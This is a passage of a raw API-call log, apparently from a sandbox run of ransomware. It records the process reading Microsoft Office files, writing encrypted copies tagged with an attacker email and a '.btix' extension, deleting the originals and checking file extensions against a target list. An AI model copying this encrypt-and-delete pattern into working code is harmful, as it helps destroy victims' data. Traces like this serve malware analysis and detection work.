hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.822] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0139.822] GetLastError () returned 0x0 [0139.822] ReadFile (in: hFile=0x42c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xb17b, lpOverlapped=0x0) returned 1 [0139.834] WriteFile (in: hFile=0x38c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xb180, lpOverlapped=0x0) returned 1 [0139.840] ReadFile (in: hFile=0x42c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.840] WriteFile (in: hFile=0x38c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf8, lpOverlapped=0x0) returned 1 [0139.840] SetEndOfFile (hFile=0x38c) returned 1 [0139.840] CloseHandle (hObject=0x38c) returned 1 [0139.840] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.840] SetEndOfFile (hFile=0x42c) returned 1 [0139.844] CloseHandle (hObject=0x42c) returned 1 [0139.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.845] lstrlenW (lpString=".doc") returned 4 [0139.845] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".docx") returned 5 [0139.845] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.845] lstrlenW (lpString=".pdf") returned 4 [0139.845] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".xls") returned 4 [0139.845] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".xlsx") returned 5 [0139.845] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.845] lstrlenW (lpString=".ppt") returned 4 [0139.845] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.845] lstrlenW (lpString=".zip") returned 4 [0139.845] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".rar") returned 4 [0139.845] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".bz2") returned 4 [0139.845] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString=".7z") returned 3 [0139.845] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.845] lstrlenW (lpString=".dbf") returned 4 [0139.845] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.845] lstrlenW (lpString=".1cd") returned 4 [0139.845] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString=".jpg") returned 4 [0139.846] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString=".doc") returned 4 [0139.846] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".docx") returned 5 [0139.846] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.846] lstrlenW (lpString=".pdf") returned 4 [0139.846] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".xls") returned 4 [0139.846] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".xlsx") returned 5 [0139.846] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.846] lstrlenW (lpString=".ppt") returned 4 [0139.846] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString=".zip") returned 4 [0139.846] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".rar") returned 4 [0139.846] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".bz2") returned 4 [0139.846] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString=".7z") returned 3 [0139.846] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString=".dbf") returned 4 [0139.846] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.846] lstrlenW (lpString=".1cd") returned 4 [0139.847] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0139.847] lstrlenW (lpString=".jpg") returned 4 [0139.847] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.847] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.847] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0139.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0139.852] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=56944) returned 1 [0139.852] CloseHandle (hObject=0x54c) returned 1 [0139.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0139.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.016] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.016] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.379] GetLastError () returned 0x0 [0140.379] ReadFile (in: hFile=0x498, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xde70, lpOverlapped=0x0) returned 1 [0140.390] WriteFile (in: hFile=0x544, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xde80, lpOverlapped=0x0) returned 1 [0140.391] ReadFile (in: hFile=0x498, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.391] WriteFile (in: hFile=0x544, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xf2, lpOverlapped=0x0) returned 1 [0140.391] SetEndOfFile (hFile=0x544) returned 1 [0140.391] CloseHandle (hObject=0x544) returned 1 [0140.392] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.392] SetEndOfFile (hFile=0x498) returned 1 [0140.395] CloseHandle (hObject=0x498) returned 1 [0140.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.396] lstrlenW (lpString=".doc") returned 4 [0140.396] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".docx") returned 5 [0140.396] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.396] lstrlenW (lpString=".pdf") returned 4 [0140.396] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".xls") returned 4 [0140.396] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".xlsx") returned 5 [0140.396] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.396] lstrlenW (lpString=".ppt") returned 4 [0140.396] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.396] lstrlenW (lpString=".zip") returned 4 [0140.396] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".rar") returned 4 [0140.396] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".bz2") returned 4 [0140.396] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString=".7z") returned 3 [0140.396] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.396] lstrlenW (lpString=".dbf") returned 4 [0140.396] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.396] lstrlenW (lpString=".1cd") returned 4 [0140.397] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.397] lstrlenW (lpString=".jpg") returned 4 [0140.397] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.397] lstrlenW (lpString=".doc") returned 4 [0140.397] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString=".docx") returned 5 [0140.397] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.397] lstrlenW (lpString=".pdf") returned 4 [0140.397] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString=".xls") returned 4 [0140.397] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString=".xlsx") returned 5 [0140.397] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.397] lstrlenW (lpString=".ppt") returned 4 [0140.397] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.397] lstrlenW (lpString=".zip") returned 4 [0140.397] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString=".rar") returned 4 [0140.397] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.397] lstrlenW (lpString=".bz2") returned 4 [0140.397] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.398] lstrlenW (lpString=".7z") returned 3 [0140.398] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.398] lstrlenW (lpString=".dbf") returned 4 [0140.398] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.398] lstrlenW (lpString=".1cd") returned 4 [0140.398] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0140.398] lstrlenW (lpString=".jpg") returned 4 [0140.398] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.398] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.398] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0140.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.399] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=578264) returned 1 [0140.399] CloseHandle (hObject=0x498) returned 1 [0140.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0140.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.400] lstrlenW (lpString=".doc") returned 4 [0140.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString=".docx") returned 5 [0140.400] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0140.400] lstrlenW (lpString=".pdf") returned 4 [0140.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString=".xls") returned 4 [0140.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString=".xlsx") returned 5 [0140.400] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0140.400] lstrlenW (lpString=".ppt") returned 4 [0140.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.400] lstrlenW (lpString=".zip") returned 4 [0140.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString=".rar") returned 4 [0140.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.400] lstrlenW (lpString=".bz2") returned 4 [0140.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.400] lstrlenW (lpString=".7z") returned 3 [0140.401] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString=".dbf") returned 4 [0140.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString=".1cd") returned 4 [0140.401] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString=".jpg") returned 4 [0140.401] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString=".doc") returned 4 [0140.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString=".docx") returned 5 [0140.401] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0140.401] lstrlenW (lpString=".pdf") returned 4 [0140.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString=".xls") returned 4 [0140.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString=".xlsx") returned 5 [0140.401] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0140.401] lstrlenW (lpString=".ppt") returned 4 [0140.401] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.401] lstrlenW (lpString=".zip") returned 4 [0140.401] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.401] lstrlenW (lpString=".rar") returned 4 [0140.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.402] lstrlenW (lpString=".bz2") returned 4 [0140.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.402] lstrlenW (lpString=".7z") returned 3 [0140.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.402] lstrlenW (lpString=".dbf") returned 4 [0140.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.402] lstrlenW (lpString=".1cd") returned 4 [0140.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0140.402] lstrlenW (lpString=".jpg") returned 4 [0140.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.402] lstrcmpiW (lpString1=".manifest", lpString2=".btix") returned 1 [0140.402] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0140.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.403] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=707) returned 1 [0140.403] CloseHandle (hObject=0x498) returned 1 [0140.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0140.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.403] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.404] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0140.405] GetLastError () returned 0x0 [0140.405] ReadFile (in: hFile=0x498, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0140.411] WriteFile (in: hFile=0x544, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0140.412] ReadFile (in: hFile=0x498, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.412] WriteFile (in: hFile=0x544, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x108, lpOverlapped=0x0) returned 1 [0140.412] SetEndOfFile (hFile=0x544) returned 1 [0140.412] CloseHandle (hObject=0x544) returned 1 [0140.412] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.412] SetEndOfFile (hFile=0x498) returned 1 [0140.414] CloseHandle (hObject=0x498) returned 1 [0140.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0140.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0140.415] lstrlenW (lpString=".doc") returned 4 [0140.415] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0140.415] lstrlenW (lpString=".docx") returned 5 [0140.415] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0140.415] lstrlenW (lpString=".pdf") returned 4 [0140.415] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0140.415] lstrlenW (lpString=".xls") returned 4 [0140.415] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0140.415] lstrlenW (lpString=".xlsx") returned 5 [0140.416] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0140.416] lstrlenW (lpString=".ppt") 